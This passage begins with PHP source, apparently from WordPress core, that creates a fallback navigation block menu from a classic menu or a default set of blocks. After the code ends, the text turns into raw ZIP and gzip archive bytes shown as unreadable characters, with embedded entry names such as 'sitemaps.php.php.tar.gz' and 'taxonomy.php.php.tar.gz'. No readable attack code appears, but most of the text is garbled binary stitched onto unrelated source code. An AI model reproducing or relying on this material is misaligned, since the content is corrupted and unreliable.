fallback menu or a WP_Error object. */ private static function create_classic_menu_fallback() { // See if we have a classic menu. $classic_nav_menu = static::get_fallback_classic_menu(); if ( ! $classic_nav_menu ) { return new WP_Error( 'no_classic_menus', __( 'No Classic Menus found.' ) ); } // If there is a classic menu then convert it to blocks. $classic_nav_menu_blocks = WP_Classic_To_Block_Menu_Converter::convert( $classic_nav_menu ); if ( is_wp_error( $classic_nav_menu_blocks ) ) { return $classic_nav_menu_blocks; } if ( empty( $classic_nav_menu_blocks ) ) { return new WP_Error( 'cannot_convert_classic_menu', __( 'Unable to convert Classic Menu to blocks.' ) ); } // Create a new navigation menu from the classic menu. $classic_menu_fallback = wp_insert_post( array( 'post_content' => $classic_nav_menu_blocks, 'post_title' => $classic_nav_menu->name, 'post_name' => $classic_nav_menu->slug, 'post_status' => 'publish', 'post_type' => 'wp_navigation', ), true // So that we can check whether the result is an error. ); return $classic_menu_fallback; } /** * Determines the most appropriate classic navigation menu to use as a fallback. * * @since 6.3.0 * * @return WP_Term|null The most appropriate classic navigation menu to use as a fallback. */ private static function get_fallback_classic_menu() { $classic_nav_menus = wp_get_nav_menus(); if ( ! $classic_nav_menus || is_wp_error( $classic_nav_menus ) ) { return null; } $nav_menu = static::get_nav_menu_at_primary_location(); if ( $nav_menu ) { return $nav_menu; } $nav_menu = static::get_nav_menu_with_primary_slug( $classic_nav_menus ); if ( $nav_menu ) { return $nav_menu; } return static::get_most_recently_created_nav_menu( $classic_nav_menus ); } /** * Sorts the classic menus and returns the most recently created one. * * @since 6.3.0 * * @param WP_Term[] $classic_nav_menus Array of classic nav menu term objects. * @return WP_Term The most recently created classic nav menu. */ private static function get_most_recently_created_nav_menu( $classic_nav_menus ) { usort( $classic_nav_menus, static function ( $a, $b ) { return $b->term_id - $a->term_id; } ); return $classic_nav_menus[0]; } /** * Returns the classic menu with the slug `primary` if it exists. * * @since 6.3.0 * * @param WP_Term[] $classic_nav_menus Array of classic nav menu term objects. * @return WP_Term|null The classic nav menu with the slug `primary` or null. */ private static function get_nav_menu_with_primary_slug( $classic_nav_menus ) { foreach ( $classic_nav_menus as $classic_nav_menu ) { if ( 'primary' === $classic_nav_menu->slug ) { return $classic_nav_menu; } } return null; } /** * Gets the classic menu assigned to the `primary` navigation menu location * if it exists. * * @since 6.3.0 * * @return WP_Term|null The classic nav menu assigned to the `primary` location or null. */ private static function get_nav_menu_at_primary_location() { $locations = get_nav_menu_locations(); if ( isset( $locations['primary'] ) ) { $primary_menu = wp_get_nav_menu_object( $locations['primary'] ); if ( $primary_menu ) { return $primary_menu; } } return null; } /** * Creates a default Navigation Block Menu fallback. * * @since 6.3.0 * * @return int|WP_Error The post ID of the default fallback menu or a WP_Error object. */ private static function create_default_fallback() { $default_blocks = static::get_default_fallback_blocks(); // Create a new navigation menu from the fallback blocks. $default_fallback = wp_insert_post( array( 'post_content' => $default_blocks, 'post_title' => _x( 'Navigation', 'Title of a Navigation menu' ), 'post_name' => 'navigation', 'post_status' => 'publish', 'post_type' => 'wp_navigation', ), true // So that we can check whether the result is an error. ); return $default_fallback; } /** * Gets the rendered markup for the default fallback blocks. * * @since 6.3.0 * * @return string default blocks markup to use a the fallback. */ private static function get_default_fallback_blocks() { $registry = WP_Block_Type_Registry::get_instance(); // If `core/page-list` is not registered then use empty blocks. return $registry->is_registered( 'core/page-list' ) ? '' : ''; } } PK $[bsitemaps.php.php.tar.gznu[Wmo#5ɯV&)M()T N'* ='$ڋMIRěPnc3Ӆ(hVrdEJt2EUy42iZR%|5uvzwS~2`'vUJ. _HftԆ#&S&9¬SWxj_03S ,dTA̠R.i.J*L JQT cW/(͛\^Nj_dzC ]IUx-Ja}lT#%Uٴrq\RȰ@<6g湘]LWK!7v K+#+{mMsS{[5yDX|բIcmD$MQZ+J-6.Тn!X hs [23mjajfH29f$g0>:ՉpjYL0 r saHfR:^qK"Iq?{!LׅNH PWEL]SįǁHI셫b2fnɥWޏ?62FAPyEr}|adakM1 TS8)z{&dx"'{&xIoniȗx, )Û gAE&"hˑ.c2:N rˊ^º|{FYJH?D^`9K|QD&:fOFsfy&Ji%sՍAۖh;bnKdL9Y$ȶ7] ~s<x3pMk\+ڴz0#JvmqU$t3+^&iкns'KTe쁖m=S9CA C˕j$Q%)o4RexMq[ g>|#y)31Z*u==Y/6Hf|1Y$2z\5D9Oލeuףzx?٭ ,(Ɍaf]!Kr{x.HQf",,Mw9zE{̍i*e3oEq!ܰ!29/Ӵ)+"2VH2ׂq|J~k9/SsH_B(4#UL<]X0Ā'- ndVW?<8u xva.7m[o#)Ōh(!T:A,;\<01 ȟ_"l/PpJ07K4Sk.x`D,iBzVMuNuT|Z iRnR uZ( 318&1P~o]n6+v]<@"%0@s*50>ws2D!GAlGJ@;f(tC|T*]R"I i8Lcdvq }ԷmǞI=u<; #yisPfT) 3U7(tn Vݿ,8$.{ m6y%"8`B"n߷ 9Lz->ِ6 j}eq:Y'Qqjυ~E(%UApW Z.V$] DKK;sB` D*L^A7}^ [YZN~x|rtFWEtt*$u^a/Iu0Q!HdY7aKL_)f4ANrUq+k]ON;'8$\sYqJ-y,AVM;RHAhP8W9Y7Q 81;!+ؐ!ݰFt@>JZ pl0-܊|dFD;GSv-GW[vxhUaܞ+ s);%6=>9HI/ω<#7 eOj\} "lɯ5;y_t*NRiʖfQf)s[h4uihakF'kJ)l$DwsӁzӁ]4`3^g_ԅשnvOx6x G< }rPMN/ʹ 63FR*F;'D Z腄@ x~6UխjV4Ælڐ<Mq=`:-Mq_E7jg /W<<7Ryƾ wQՊn>l\4z~sR)+7k}_|7P"Fe#[7F;aA@v}/*PK $['TTtaxonomy.php.php.tar.gznu[{{Ǒ7+}mId7RYYRHZI^=zC`HNb O׭gR$nquisVݬoͿ'yhhҜ'7|2[O7g\w~W緾?׿ⷷ7}Wŭ4rߺ]K/wy_/>/4˪xɫ\=('˓YN-ŧH^Got*ZV'uZooY-VUQU] &jGӺ- |_K⼞TwG#жZI tYU0l}Rۢt5崚w|^.#Q=W˲mް(Ӣ<)]=OVU1.%vdT|_gzMSOy|Ybr:yn^/F>zѭq88_Wbfn(b98,Nf͑sgvܷ10ͼF~'Jc^qXݽ׸UׯVeqT:.׳xVU31bZO4<5^_ۑ\ٵY^ ;W+^']Jڻʭ5k$% :LQV#,K}9P=v+UnqLq6os-J4_`uM51Y,fc꭛C]kŢ!WW_,Wu,zRp2W5MA6 Ty8q,x}V[ox'<p t|t7>P۷B:8V?Y=툒㳲}=#xlG|Xh/Onshq$Gn;+0!/1 RB=OOQٝ鶤Va?8Ŗ,}"az=) t4/*O-e; f}4''is>^יz2'l}6eGkI(slN߳rww,Z\,yÃ>J ᓴചU+S'?Im[uQ~Sf7w:JeU/̑dڧK/_][f=øͪh=G؊T}9IURrӨ!PG"yf|VDYLݴ(u+r&0W^ex'wqEaϮ9P[%ަ:ܽT} m fd5AYަ-*a M֛rGQ?k[` b]` ?ٝ ,St6hzW|= ]fTkgSuWȕ):^L񮛫AtPNyua:\>['չxÚmюV.N~:,ݮ:kTےӦi+\X[t+ Zmgw?6ŪZ̽SK7˕JWTʹRcP;Pzd)j q/mi7mgGG) } -u|}GIr§3CytλrY|l׋E\gUR<!TEXH7nW3I7HhKfmEbFC,y܂}rェէE--xzVuN\ErV$UK~4k&Z4,G*zwIy3@-fj:2+V8 g*0JQ}yG_6˂$#_Z̢lԇ=2A#+\o7ԓU*QT1VdY3 L.FeqRi%XE1تBpD2MB1o5'Mzibe(ַI#*KۗW{jLnxA!\ڽ?HU?ufPmօmVmoԀm<27kd2kS_x^qXlȀnRMVmdrt ^~@K]/V\&܌jQ˓\9uuu|Sա{~v3j繛 ݏJ &%0 ۉd jqt=7b21:ȯ]wj(& xP,Pfh}qK0n>vlDvl֜tSkP#UdR- J`w5]Uܑ|vyUT V!^󪚆ˍPl&BZ!'o--jpBVh7){COC5<$q]ͦQR%I~ơwbL#x7jdHV=sFc$x^Cms'(Ҏ#q_lps v B]G(noxcG~;;2@Ӡ׌C0Tx#mH]}gL$bo/?#}Ȏ f(n"7,26% ˰Uy y]߆dCl7Σ=͇~!1I'l`KV\ͻax)Ia="U ._nszcDwG̦eNOCE7L?Ux'@&*3_:a ɒ{2c| &.xEUWMw4䄷T,]GJd)v\/wVw[<-IZBPipRP[ ;n\Oݬ{o?XpU(QYg&zve[9uLs6xI1o?AT( #bnx/ t w!b21QV~Ҭ;ik3T} ,wR,5 /T8&w y٢%bT<>̉ɕuzxXy=46!䈶j JUF|iY}1U<ۡ('`J+%C'r@sw1`COpf,Jt5晴 [F:MQUM6u4Ԑ5/Ptr|ONh pP0ݥ!tɑa9>j~% OgV٣;ð4*E]m. /(r-[.&r?֎ΫI* w&ay@6w(pYϷ̚j9r8-nzӲ=%Oݳchxᘙ_V][/UAOQ*?Hf(z6hԎ3O nI&D)% Y P[-p,$#^Lf3դ\zQoBd;3_J*C+42oFJLX_o WhhHD͕naP^}Qy~zeUr[ ȼgg<'qGG-;qxUA2bp!g7uyIDu"x).گ`nf +zA7t'俵 (ӻ)P|n>K KY:~N\V&x-Ȍ# ;o+ޓ2S+ 7ӰͪH;|eQ$(x5){>sz߮T -6uv@"w P/:IjG-94Ko7&+ ]OIwà|3-Ekkr-ߔ w[*ϕCN\+ʊ]4PcE %O5pV(GF\U Fqot=ȴw~BC 6 X6땊[k ТM[ {f7|E]/b z`Fw#29Aـ:_ )  ʉhyr^9Fn3w) ~V`y\fy C-MY$y ;^09R5=[6ojǼ\]I7tWu_~1/57g{^w=jIj/&'*7 DkpܲpnPz]%DvK=0lK9'fsUGHoXŋ"rt\PpLTӠq+nqT] IFUb:UPW߾˰v,|D܁>Kg<N e+/6L jR_X)"^knB顒_DE{&_';7aƕ[u_Fyv̴z>yvT)ajACsg3Ӡa1jT:.Z \u@﨟qxK"e>]4P^YzlG]Ȟkum 6R^o ƫUu:4Jc#'ؑcw}¹iVjݍi m=?~Ҭpr}| NS'ʼ yC7 7tk՜2 k6 1J.iP~\Bq5[=*,0IߘY175b}iI ݕTM 5aZh?WH~b{Aü_жCweTV9jÂ촠xO~W|N.Rd&>V9BWv0wK5!Y6ۊ,h\~^3rNrGK t$ޕU/zJ^Z-.(o`z~CF|o^<*>?Bs\ߏK7¼XFTgeAN6a;źsndsvF/n#m5%" p↵7oUsXAIb'xdWຂ_]CcT4VYnp_F\Rw|bDzo_n'?w7LV?wsix^=(+e?(D)8}˱xQZJ KPfEM/cv?Eń9c"ًe-}PzLZnz\QjaOkr& #U@gy:@D񗗫 껹uIմw%ZI9Xµ|HmN0͙36U1vmd0C`3i[B!MwFwt?}FV>(C8%Weh.qMw*ß\ _׸ۏ.LqGu9ɷS' 1{Am<ʼt﷣y3觚q;8ôu/cZOP`QqSɋWjE4}p`8mEb5)# f+Qqk;$uE/)M[98,'Vi?59xFR f|" ah2xٞBkb!y(V9$ Y.~~ G~y"[ 7o:]ع'3H TFV?T;Z9 >9s(*p;J[sanև=E,6XDu_(>NsrXY/ФvPY?>0>/n݅.?o߅AA=v|̱n.̷g{"b 㨠T.oÍ0V4_?Ӌi5ߴr[ c1^PrWy)aUoCME:\P9plsMu,pƿOo<Rk%v4KIЎ_ށ,t5X~ZEb>yuN*oq,QSaVմd귪3ڸf t3hGku&Y~ﴄ9lBm9x<"Ktz9H=V\M ydޔy,zn`ݎMS"  HӠR5:wH#t xB8Z2_w[؂^gsok/Bz57MjL>t!<~r(yRL UTN:VZB]v~L2tHyi?7,vʊ3"rp82[5:߽H=xqhgrc ZƩIn npnjTN _ga#B];}*O^<у ϟTke5C%s{Z/Z]'SZO@ pޥOӣT*Uc+?y?u_{^Cקo=9f ~r;"Q!8pnq"Φ_;ũcڻkVe;[v>hs7bb +f&]lU Um̳ u@WFG@qB3[ =;^[[00 :@k ]Vj`:>8*,JMp1w־GXZi7쪎 Ɔʃ G:`@W Q/h٬)`DYc}/]u[[ NQ9pAYJ֖`PL€g/'(` с7$~jHn2' Qb )T͝DT[ Ϭ^$HxT(yFDΪi3U cyC }^ls T" @dXnيB{֟ x(mS=`yJ99<4!|+9:Ė/3"_Ш[¾Vi: EՈnToGco&~%w|ҿ0L׶2in5p$`'r H~ = zm@af*Hix`6~Ӟ]pbf1Ij$E&Hl]?؞О"!*LBRm~Z]Y\)@*n'lVΫfv u΢*${@rqy AAj:aTl#97W2nw $*oIRY37ɬE%_F/ F4WCY+7 ΓHi.I^W2 עfz)uަGiq詝OBYM ng8;NW r<`lRDgi@ U*4YX亁եQF]OCi)75"-]y@ Ϻ[3LdKoJT& ʌ__&|,QRCoACSt=o"eY|HeTxU=%.+>0w$; 䅖!Y.@{s?4-v,eda8ՌF1pL + };]uv3DvUE/;|}ySxd\C9 F6k-)Chp[͎M L.T&@$@0ܒRNȔYsΒd^.+pf+23ЭVc|Rik=$A0;a*r׍#hu8RqlZyykzpgԑ}퐺rX/$^Eih1۫!~ o5Jy]'樇.Td ?Cp뎴duKˑ~JrzG6:ㄡ/'"3t, ,͚w,19M݌ !Xy2]F+?ai boRtPLSQN\q.1); xe =ܤ%*`zu不GTyW^ӜG6K%q ީ3zWl}˓knT]L_=e(oXt:63d%#wmM߂\u\1}6MYc{! q<:G:7'9(5'1ܤbE;_dBh2ʳnjHFRd0 $od-2nDjSH6j"ֱmZ:iUnF[%M>:hj/.ͱCR-8:nmdvvۡW Zޅ$BR cRr*{Y@8A'p?7&r )yٛ]뿱e_REi;H[Aw *RVVjS-E &GL}!$G$r&GSc`C  A Hʋl6cb-p㈢)bᦦ]YSR މ3#z❖6f,-Fg JL+^܍Qz$#Y{NKk3[ܖmaܽW3ќ!Vl j4XPCC9ըt6cј8h'J0۠qZb;U!K˧f$~KNi$ DIQTNʛSXJ4F "3MഞVcZ%P-c!102Ў&0H{FA 'H?f3]O(DNmzk_LAmAKkkbꉌMVJZ {ܥlk =( r x ТY/h$d'z;D2>@I$jBS-͝H r9}w|QBV5w#CC"褞x'x iL{ KA9;9YiIXДJ&3L jxؑrr/L/m+ǐD4o4Њ9 n5qiO 8y#ml*sFW?P<T*&'@zW!Y>঍U] }ì\$z~( xսM۰,p|=jg-C Q6vWDoiȶcGմr-8}K+\gڎؐI)f9E1 vph/{rշWAHܩh R1_7>7c- k#8_Dqkg| m6c1eұ]WǸ@[rL2v1)z)P^yt4&l37bB]au좣@6^aN>R]OF9+H+&lΉQ>0S{sjVi}杠0qyb2Fy* W#zaduR|;%Qb{|5Y/+0 .^Z)zGp:F 髲Ӧ!G5`Cel+|V,sE`83U8#]P؅کaj٠C:!}l~/SĉNG)k<C}阤'ͪ Z dD0:>h;.:j XAifRSxY!?t6 <2tCFFލFP `8 cmmJw}C T[hv?֐gCN͋{㫠'[GUi@>ݟ,]Nl T+=AȤ[M^Mp:T7}͋R+A(st-Iv8RA^a5Mrx/SX<)l챡U7X  ?snXq鈭[; p,;`R^b@QgI QZ Rn 0i΄HY/G-x82uhC0=负hGzumХDϟ2p-l7S4`L-/uNLZoƧSUqRrFk`|-G8(Ψ pR?WgU)3p'aB\ot {O`͢Z1AͥLfG]yu -8fo2t+ Bt0}\ }Hu|`k.a$"CSSQN< X;u]+('˦`KTM @--ۮY!ƗU]ҁxծ(5tʼcLi'X%K|3Vhˤ]zG@V[ ]amP;ǎ<0H%_]R >G \=}#MK dܷhrUe:ߗC596KXoKHVʘ ih_@}V1"u1DYNj -g} VdU<@"/8WQ W"7t4kA[2f=]흛7N5 :|FYĊڛ'M鮻)oBmCG';3Wd3̼<?ub$Uanib*u nʿ/V@{): Çd+, 4E!RZeË7;pe=Ba􎺵Hf~\ +(uWFW(]Z]X_:`ޘ lvȷ/ic>nұF! >U6 N/K:M?-{o,D Kw$ ba}bK%2=t31(0QzX!lm# ;>%~c lTwW2TFl4*z]ܵ$)M[Ij/Q_p~Er@u' ͦXq,L$E^6LBHw6d\Br&I@6̘Uf>; ݛaE/P!wXsdz GWMzO_6J dZpU7LEn+Hwv;EbjbO/ 30BJJM(ٶ\}O9x~x`Ґ`" Ix+1.@3Lړǵس((f+BjTp;0 |-h6usK2R" \AF$N*d7o'y~Ay 3] k$d)hG YvEޠ\W5 8iuF,ۗbEfBq=3\uk/*WEŸqTd٬/'i8?9aC sb/>aCߧ8ax4;N^r,Ǒp'V$+qԛm_g:(?m3sT-쁱T0@ !<{C7g7:j?9=̄p}F|֨ɬ*-@Q%8@2yHN%P%mۓ7\SG? I͢YZοXqϷ;݈ $)~G8"/o[:M"qŔy6$29 &+}(3NilkL ŗlAbЄvg [sh[Z@ljC°q5"hȘħiy0&̏~j8-,&Kg,RC 崋ޅ5˺yTeM94芍OWgy]W9<= h>>Rq__V{vzv톽Zt١Ξn7_m6yͰQ!El$;ZJb^O*[t OaT<9)ɑOїEN.}'Wx/`1@܎eD7Ae/^K "n&/&2ڥΩgt fccOr/G>u YsD>uxaUD# S4gO͢t'Ґ%uR&'3$uˆe|,RV9PU*6@J T͡FNq|nO* ȃaAX +2grQ@T'z8T$BjMao9 =UWղjUmXܙxYzz%[ó sX PI.1^dubltZ7{L#1X$t#:Rx!飱dB}!"_KgKqi GS\qu2$';9OwkG2d<.ߠE_i\Jψxda7D%}?6RfA%@*OBVl ֝|ZxF nC1$8Lc/t[)+I (4Pk}g6cDX8 *e.tзDɓ ąwds̮^DJ ~F g`iƫc> ?sH n!c{h 'Х9g&d[B|;%8i/2!Rz '~OOÀW6̀3CUnS@%^ ffH ZB9 }<]Po^C.I>ဗtC:3Amx =94zm1],!+;³R KUMq^rN6ŀJSx{~5NФu#cF‚l f\W+hsͩfa[&N9zDŽJOE!4fsw_V~QBբ Y=aӟ)9h4is&Wm%вꎕwULE(MgWSq"3ej7h*N;ƪIl٬Db1P?K j7oIүMJYk,M]5>J`F/lWSFx}?>r]O5ޔBH"t,QpڠK./)3{Օuv.lJv &.2<{sO´w.ͤH5-p p2TߔnR}'/w?("=/$ygSH)s9  _hY(AYnL;8̦(52s1+\ũ/X<~SCb5> ^zC3lE]BtOFLTfu9,gk7G٫?|?R(#DqbT*"iS ;u _)rϋ_Q/TآIo.^-Bw 4c!sC%^hon)N(gBS(ce@}ᦙxoI”-69k07y{:.iؤJV$[HOZ N{aSnĭ _:y4{HuF\;uIq) 2fƱ#m9Dz]׀b4Wr)hh[@חrI-)t gU}0s`];beIn҄=H^b,)$'%ıx 9G\9X3 ~/Gax O^ FYaaB%žN4ة[M[Wzk]$BC9+|2?Vu~ ^sy̽v$G=V?2jk/Uk[%4B(ɁΠB_INlpo0{q:{ 9Y[?f0BŽ?y ])jVê—^"@½ɦ3Wd:{ ބ= %1MYTA=a K`C)HբbzTyj95nWrբ蟔 c.4 f7ΡngG`_!V&5#bfI6t6I 8M؅Rwr'*lOUms TАi^I>P "|Pe2 S11o uqt7FxdkK' X"໕DAvey:kf D2TEjҜ8tji3Ɔ{oz8jE v*ԄI.=-+ ++@̛E?"-al'l'wգl֜QjIYoB|Q V=tA[\E_ h0'/(K%Xۙk=/g+ 㚳L_R0H>%G:t65[_"RSxɷQ"4Q@!0by(b,gS6\:TT־"NU>,L!{\>qdi] #*^UlzA8Hpt {`}‘SM!]u0N+&1֓Q =n6I+@ElߣڄE*]l~B˂k<*<ny0%'ɀ0~VlOú|ClǮ{khBlઢp.rф7eQs /zА4_z*c] [}BB.B5%OgL'{4c(a8{zGȞce>::k>5›05jCy@$z@Iu)7&D5e{5 aPAl>Ju]לU9E0\S; Tp["E?{l3j Ie'Fs:\>S ϢPU3<4!T馂cLIq@=x6T 1}^{m-]Ro(S2lbvw`{>$[(5od7)tk.h( أg$*lV?d kQ9HQ-L6MwigX*0<| A?>yچWB5f(ɾA{;Bz&o4VEnj==S s|g:JhDVP T TnG~n(s70Z6Za C) 'Mu:|G\Ӑ!>%Z17u  E,#j`3ɪ7+^RQbj+@TOK\5dF%hn|V0E[PCfY|GD_,ѧR>mtFuYHI'k^uX,%{Srtjkw1cnN Ꟃ%0^xC!˺u&x9@fY y 6rD'2w7{Gdq)2eN6&i5&e3ʈ}ؿG,V dKGC#Z%!׶L}m;_t FDP,S#|+C7$_z%!RPljCMM1&Z3m rcj Ҿjz?jjDTѪ0!o shр k -5؞)V$p性~vIsg u%$ӧkjpo-9㸄*-c'SP SbGAܸIZ;j;=.eRHޗHh/n\K+tjUui[ۨ;}TˡA$R)`Fj 9{(fn$pVJ:m&H>X7f].z 44MDj >@#G$wR2u%/'O=/'fm;QTwP|zpkؠK7-sg) Ea:!! &'JV*%\Q? &FCgȃf~8.rw? >ngu67k8U dBW" F~ 3Z:>Z>U#4nb iEE6u[iu&$GofSO9i p\ ^Aߠݠđ@N@齗Ss޳GFā3`hlm 1pa= !a5ZէSyCC0|,ܖ *OKXvbVNR+`k<$wB깆VJOXBº@5xW1YIEA#I3*~Y$j ]KH;sm&k@|!#p]9s_$wCEs{ !)BLJb',D|TQ60Erqce[evrM)?UC <0Z@z]x *IF2Gl]j S& } 1CGzߙ B )IAճ/_lk{֗m(0HĮ+t#Cz|9KP^Z ,,}yz'0S`P{89 wv4^'^PK7YvpcD^i:\Ťv9.^ol%ZmٔGn]l)!+[J=dI?K"̍fqkK)1foeodXr}`Jk%9lbX@aQ&#*3Bl(4xxeYJƜ}yac+ KWl/Bi mPDvq2ASDhL6܈μꐠzsEEQ{eb|R</C$ă ~A$$IWqU~W!l∝fGѰO*9dO]Z'a5YzPxID̦2qdh,B2Cڂɤ Flj2|<$U@d_(Y|5ݎ[7l~HMB9M3P /^Zf v'5S⫧ɾ} zw!{.R3$W:MJ(|G8[}dmZ[elFqEb16lͻtɈ'}3͌D%ٕIP"^3$<ȏQ`0#fd^{g|%9 nyOuAZPZ"޹ l6G^o؇ mV3dP.Z?prpI[}D Z=ǵv`0%051nQd*Ag+`O_b7ލ:9 cxmՒ["q Иfڿ51 !2z_,IA(l9 [DΐK^\"$ /iF<#O>ٍRBe}MG1mO^hꌞcV!!LNAmcPP2헤.T 7m7݆OŔuJZ]Φ2iYuE|˃h/@eKMXHu跹!VedUhG[(2S d,X2)0ɊڪT-K%ڳE.բ!C,ϣ9NG/&D"·&!uk%l'a@D6]Lܜfk v,IAuhrݠC ]skd|ګHM*5u D&g&+BrknNd`NyL|ON~oMگ42^;e]ř1sxj1'>flZP  @CXO] _0:cf^JcA(GJge_%ʭfXyaeywHB3k~1`hv8G^|W^ Jr#)%qt%"] 0ř 2䍁mB xuB{ŗn%CUvi j. WMbG=iX>;:(~nztп =S/pEqKMpp5eP8g Cr>KE23kӥ׵ut*ˑuRe7+2v3jĸ@ VO׻N=T Wx8_+Ӹsމ;ϧR{W?*ħ>a44jkķ|,SYCe՜k1LIñ}e ffc;v?G6G'D zm=,濰m85[Isq$~t]c_̈́(ܮX.&dw_/ ~3zFoGO}v{õni#r2'"ܻ,n7I.υVGMQcWk2 wv[:rud Xț* T7jv$F >wxHSL='? NȮ^ #)+- Zs>N0f/ Z9q>aCYdO~us墵x49s0>u%fC PЬW_mɉ\1y*nlw׈g{a5C/fSҗ5wJ26_<"ʅcݲUwѬi~J@ܗ \qj |PX]w/酏YUnII:>5I6! v']2S_^|JM(RKb^Wkl |(ŽA ̵/I1Lm?B I#7 Zۿ+?j'傼\z`$9XzRDHx>_cc>A6Ig y"Vv_Ql"d| xwK0n 7.g ]a r@EL[1Р#J<}"Dec5}}|f:Jj3(_SRå~ZxvP' B!X&%CYde:'xڋPraɋfi"@yAJN{ZaGH徜rD=jtjfVQؕFR "At'|rpVMvpO"{@f\ֽ9((رrsGe= Υo{DzE,{; KzVͲS|qmu8[(I^vxwQ?~?nߍG0+fTohOA8JɖҺ%YtgZ1} ;TWW>pP܍ʄ2c`7P@a~Q+ғBq ՗SpT >T-Aei055П[n/ q{>[C䙸vfmO@'wDV_X^^Xtn;#._+NX {)X7 PX)).}?u~ş;~u@ 8./uޥ#`q:%:mҁ Nh<&uK&V cZc< Ѝ(U1P8"s3%8X|WXTqz`*}+4ŤiW^3)v:?*_^|`f)h[ut'qyп!xU匛)Ϡ+Q9&.+>)grExy/\F!zncX8/*Jǒ@n6m1vW 0E:.gX.}h _0 8IG#ah>m0Mn,c5sQ(+ga;[(X=&k7VlS_'^WY#JAcn1}.FRPY3!NgI>#QD"{w}cA1FijwLߍbx=&Ö^AdK:CHJIXN梸?;//Z)š- ,{}9MP>Ou׃H?]D}<[G0fZ",zXTqUw s:N~bܪ3[18noŠ\\ $рk]ٲ,2O3$lt_z a]?37l{ P5wd\ nSKo˥WzU0:0 4`7 JVJ? j!BԳK;: xاq-ν64_^C.1V '($䃽]@ WcTU)};1?1t/h>B#̆c/(6Am:βA"=QܕHKHy vLV"SPS ,w+|?]ɄK]7Ќ;xNo@zeG   j*3]`zj2Lph abکx V|l֡`W4YLLfaz$IEБ`Vꎌ9\qCI)~-UaML,|NI( WwK,x9.{+/: ao麜mqwO߽2s|G Exǣ;d(djwcZFa] /ӎjgpo+gdDztBTÅ7hRt1~n7COuҝnIvzP\&e6e!POq@ "O} e*UDB*EueV_mw9I-Aq4OtIķ :kNn8p%xo_'xo_GxoorZGGEb۵/S+1Y6I8sp1mpzn/1u3NŊe0U(s؀&h>˴c_ݥzEțNv{)(&t;(ny D]'l>x$0-īʻ֯?iW&I-fZܟylGx Y黅bz*Y䮓nE$l1^-׵,zFA$tu%8AmPZ"ɧ*va`m,FC8Yو3 JD@˞Sq2+7,AfrҜ!lXjk:ឡW?}aƇR&E"? 1;r٦րqb|Fo/Wq(SmH=ĸNP7\}_n3Zj3K?k(BJ2t?\ߔrJ.ռp̧Fbwf>kX8.L.nQi%.B;w^QLBos\=;[p7A_yq VpвWR4/=Ӳ5tC'^v*;bςxn?M9L4fU)Qo P vbۯ|]˪hO&!'A̼#jG[7!W} 8ӊ AF4 J(~u 8mP%H(1(D06 Ȥrr6oN>eTaQiM6h5YR1hxQ˜:oz4Te(ѽ"B{^ s,Nfk JWJp\ÁM"?=AF`ZcPrh(E̛9q󏯚ޡ.^p }55v#{S<S:fxҹS+BYc2#5ɢVdpKST֟C!ol:e3ѣ8FQWf ?gK(Du5`:f6|4uVqKU8|o\M6[CdvpV1+ڱTqzlN\.CGݮkH4^~`Z[ed<,IJMHѢmfyJ<6~H5s?sjQ6[|/g׷I7(ˤY\l)Sԇ r4#tbAy2DeZQBJ*+O+H27W' j{yU(yxߠzy8zkZдڶ М@c2¼4&n6߼I/zlx1^ڴKn`pB9Wɋ)^psX^<9q-`J@\R #Zz{#2'D<]١^Ft0aVtmG"XPv>OhL\Zv[A:bXg vٚJRp&r_dK p Wh HrGJt\$9?x}߷8U8,ypЇ*X{[L>{VY\}@t=$*DH/hp `:*Uy d}f55ghGˮxdbi!f[{lA c[7 UYI٨#lX|$eP+>6O#gp|Y'j b{l.YMDU(^f^A4fb9 yPBs GDe $sjDz3A4v Uzdsu8BAITp9Q4o4'fN;%XDPf,Ȩ;kVj;Nx[)œ<>K#\-w $)`S'kkv8ObFU!, }3r H;zcF i:zaDU=tP:I'=7_ )W1Sl9a>'g՛ zbd+st%8Q1|{nJ6b,N|-ʩ @hwݙXv 8 Y2]f0M^E \0}S9a9>` BL'vrWh9j"AD"yEQgnWdpO8>׮j'΃EOFdÀcPzX39qmW*1L gJ}*h2Ҧ@-]L|hH2VFō=NXEG^( #!u 9X>H E2@~<8*E{Zl@)V7ٮ/[jnhTA+ cDW?!GY!Nt1)9#w%$fcS}0l񧣔JS$dbw(c8LgNIEC{*ʦwW-#lA)Ԥs~\HvF?OGeS|̡64bRfQ,2 o*r^r^j⬥cF1~aSj['(/Zh@ zLf\& nN+sʿ]^@_QwbްY~a8M6σ\wXԼE]'ĤOjk+n8}j?V1a}$! JI hy05duYSL4;cOH%)}ԧ' dVG3ox"syka&Oy/N!TP)>0\  EIx]+].g޷ qs+dmnɫ >KTTDyv^ 0Ї pwE6Vű`fq@_\v5Al @H륱ZW*WQT3˃U")_&_,$Mwu{1}d[d2l3.'&a_Ǿ ? K!G7eKvK++ҚP0;i|PeqcBwM1CrQbދ܃Y=Y]_[+DKtM6(yζ*DHW%jف]mS|-JgQ}тB|lIajF(f$k(nΛsNi.N. Ui4NG(cRNj׀DUZV6uCڨt dի-i{x+-]):G͚A3M{ :':QѧoACIN9܀rR]^nZѯgFlCoV\?'`񧆂:)d,%=ز*.=<'ԽK9'[T""lHqk}rq2_:zG 5U>f'ԚݤX4oR#rmy9tcx?p2/t }5C]s]̔)]r1?WRDhDxC.MRZ/HHNh"d#ڐ5%mfR/3>Va7c(Gw@|1tymb~lzumc |dݥ̊%d_F&CncP?">l#oZP2ZrH?QKBv>λjP Qf3k6[%6ܵu2f%=e aJQŎR8O3S~(YæSQ4zV˕Ў ]su7Lǹ&e@R Lw7UO`F*N$"\(TZU-eL0{I7^#ėr]m+yț:%@ޗPL.;=m^AHN0 =Y!TިhEXR1wJLq4myDvP\SMp|M2a6!׼~h9IE|evѺ9V!3Dw/o:ux:T5jV^QH.3" bQXRPMQ/ Z-+ǫfLЁ6gD%W8A Z|y1%̺/QZUm2[<|sR(O Qt#6t~x U 3ߪZUEf0/ ~oQxQUA7:!6|[t@Uъg} QMyGRQLtWޞ[ >F]#K&b\(*$/Sϝop-{߀(gI]ZrT;v !yw= q(B?;W^.ֺ._?Y':q-=_ٽ$Z:Z!Z)=XҬ un ]p! ]ǏO,/R4ASi`u_Š]̒j>*nAZW1A)?FJAMN6?_qAa  h.j=ΒI8~ˠV9^} i76kU0,-F ns,SpxiqȅX'~!;r8b2]W 8a? pAs|<+n~^|uǹAvb[v\R'Bߔ;C6'A~ _+#*;mksxLş~|ţO<|.x.<Ʈgոżc5_U??~G7y5bqP=%DUZl[^A"[EIcUrL~8;1t|~_|:@zNNIYG׷._\uF"5bh;.[2(v 